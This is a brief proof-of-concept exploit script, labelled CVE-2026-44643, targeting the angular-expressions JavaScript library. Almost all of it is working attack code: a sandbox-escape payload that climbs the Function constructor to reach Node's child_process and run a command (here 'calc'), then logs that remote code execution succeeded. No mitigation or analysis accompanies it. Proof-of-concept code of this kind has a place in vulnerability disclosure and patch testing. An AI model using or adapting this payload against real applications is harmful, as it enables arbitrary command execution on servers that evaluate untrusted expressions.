CVE-2026-44643

// PoC Concept for CVE-2026-44643 // This demonstrates how to escape the sandbox using common Angular expression techniques. const angularExpressions = require('angular-expressions'); // Malicious payload designed to escape sandbox and execute code // Exploiting the fact that filters or object references can leak the Function constructor const payload = "{}.constructor.constructor('return process')().mainModule.require('child_process').exec('calc')"; try { // Simulating the vulnerable parsing scenario const parsedFn = angularExpressions.compile(payload); const result = parsedFn({}); // Execute with empty scope console.log("Exploit executed successfully. RCE achieved."); } catch (e) { console.log("Exploit failed or environment patched."); }
